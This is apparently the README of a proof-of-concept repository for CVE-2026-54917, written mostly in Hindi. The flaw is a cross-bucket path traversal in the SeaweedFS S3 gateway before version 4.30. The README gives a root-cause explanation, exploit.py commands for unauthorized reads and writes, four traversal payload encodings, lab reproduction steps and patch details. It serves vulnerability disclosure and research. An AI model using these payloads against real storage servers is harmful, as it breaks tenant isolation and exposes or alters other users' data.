
CVE-2026-54917 के लिए PoC + विश्लेषण — SeaweedFS S3 गेटवे क्रॉस-बकेट पथ ट्रैवर्सल (CVSS 10.0, <4.30)। ऑब्जेक्ट कुंजी में '..' के माध्यम से किसी भी बकेट को पढ़ें/लिखें।
CVE-2026-54917 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी लेख, SeaweedFS S3 API गेटवे में एक पाथ ट्रैवर्सल, जो कॉलर को किसी भी बकेट में ऑब्जेक्ट तक पहुंचने देता है, चाहे उसके क्रेडेंशियल किसी भी चीज़ के लिए अधिकृत हों।
| CVE | CVE-2026-54917 |
| एडवाइजरी | GHSA-w62w-66v9-vvgv |
| उत्पाद | SeaweedFS — S3 API गेटवे (weed s3, और weed server में S3 एंडपॉइंट) |
| प्रभावित | < 4.30 |
| पैच किया गया | 4.30 |
| कमजोरी | CWE-22 — प्रतिबंधित निर्देशिका के लिए पाथनाम की अनुचित सीमा |
| गंभीरता | 10.0 क्रिटिकल — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| स्थिति | पुष्टिकृत असुरक्षित 4.29 पर · पैच किया गया 4.30 पर (अंत-से-अंत सत्यापित) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
S3 API राउटर mux.NewRouter().SkipClean(true) के साथ बनाया गया है। पथ सफाई अक्षम होने पर, अनुरोध पथ के अंदर एक .. सेगमेंट रूटिंग में बना रहता है। ऐसा अनुरोध:
GET /bucket-a/../evil-bucket/secret.txt
mux रूट द्वारा {bucket} = "bucket-a" और {object} = "../evil-bucket/secret.txt" के रूप में मैच किया जाता है।
फिर दो चीज़ें अलग हो जाती हैं:
{bucket} वेरिएबल के विरुद्ध चलता है — bucket-a — जिसका उपयोग करने की अनुमति कॉलर को है।bucketDir(bucket) + "/" + object) और फाइलर .. को सर्वर-साइड समेट देता है, जिससे पढ़ना/लिखना वास्तव में evil-bucket में पहुँचता है।परिणाम एक क्लासिक कन्फ्यूज़्ड डेप्युटी है: IAM एक बकेट की जाँच करता है, फाइलसिस्टम दूसरे बकेट पर कार्य करता है। एक ही बकेट के लिए अधिकृत प्रिंसिपल इंस्टेंस पर हर दूसरे बकेट में ऑब्जेक्ट पढ़ और लिख सकता है।
enableAuth = false — प्रत्यक्ष, बिना प्रमाणीकरण के क्रॉस-बकेट पढ़ना/लिखना।enableAuth = true — प्राधिकरण कन्फ्यूज़्ड डेप्युटी: कोई भी प्रमाणित प्रिंसिपल (कोई भी टेनेंट) बकेट सीमाओं के पार पढ़ता/लिखता है जिनके लिए उसके पास कोई अनुदान नहीं है। यह वह मामला है जिसे यहाँ प्रदर्शित किया गया है और 10.0 / स्कोप-परिवर्तित स्कोर का कारण है: एक टेनेंट का क्रेडेंशियल बाकी सभी के अलगाव को तोड़ देता है।exploit.py केवल Python मानक लाइब्रेरी का उपयोग करता है। यह प्रत्येक अनुरोध को स्वयं SigV4 से हस्ताक्षरित करता है और अनुरोध लाइन को बाइट-दर-बाइट लिखता है, जिससे ट्रैवर्सल पथ बिना किसी संशोधन के सर्वर तक पहुँचता है — यही URL-एन्कोडेड वेरिएंट्स को संभव बनाता है, जिन्हें एक सामान्य S3 SDK फिर से लिख देता।
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
चार ट्रैवर्सल एन्कोडिंग लागू की गई हैं और सभी 4.29 पर पुष्टि की गई हैं:
| वेरिएंट | वायर पर | प्रभाव |
|---|---|---|
dotdot | /bucket-a/../evil-bucket/key | सामान्य aws-cli के साथ भी काम करता है |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | कच्चे अनुरोध की आवश्यकता है (SDK पुनः एन्कोड करता है) |
enc-slash | /bucket-a/..%2fevil-bucket/key | कच्चे अनुरोध की आवश्यकता है |
enc-backslash | /bucket-a/..%5cevil-bucket/key | \ को सर्वर-साइड / में बदल दिया जाता है |
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
लैब IAM (lab/s3.json) को दो पहचानों के साथ सक्षम करता है: admin (पूर्ण पहुंच) और tenant-a (केवल bucket-a तक सीमित)। सभी शोषण केवल tenant-a के क्रेडेंशियल का उपयोग करता है। पूर्ण ट्रांसक्रिप्ट के लिए EVIDENCE.txt देखें।
देखें ANALYSIS.md. संक्षेप में: SkipClean(true) रूट किए गए पथ में .. बनाए रखता है; GetBucketAndObject कच्चे mux वेरिएबल्स को कैप्चर करता है; IAM {bucket} के विरुद्ध प्राधिकृत करता है; toFilerPath {object} (जिसमें अभी भी .. है) को फाइलर पथ में जोड़ता है, जहाँ इसे समेट दिया जाता है और बकेट सीमा पार कर जाता है।
4.30 में पैच किया गया (patch-4.30.diff). बकेट हैंडलर से पहले एक validateRequestPath मिडलवेयर चलता है और किसी भी कैप्चर किए गए {bucket} / {object} वेरिएबल को अस्वीकार कर देता है जो खाली है या जिसमें ट्रैवर्सल सेगमेंट है, और 400 InvalidRequest लौटाता है। 4.30 या उसके बाद के संस्करण में अपग्रेड करें।
/../, /%2e%2e, ..%2f, या ..%5c शामिल है।Caio Fabrício — github.com/BiiTts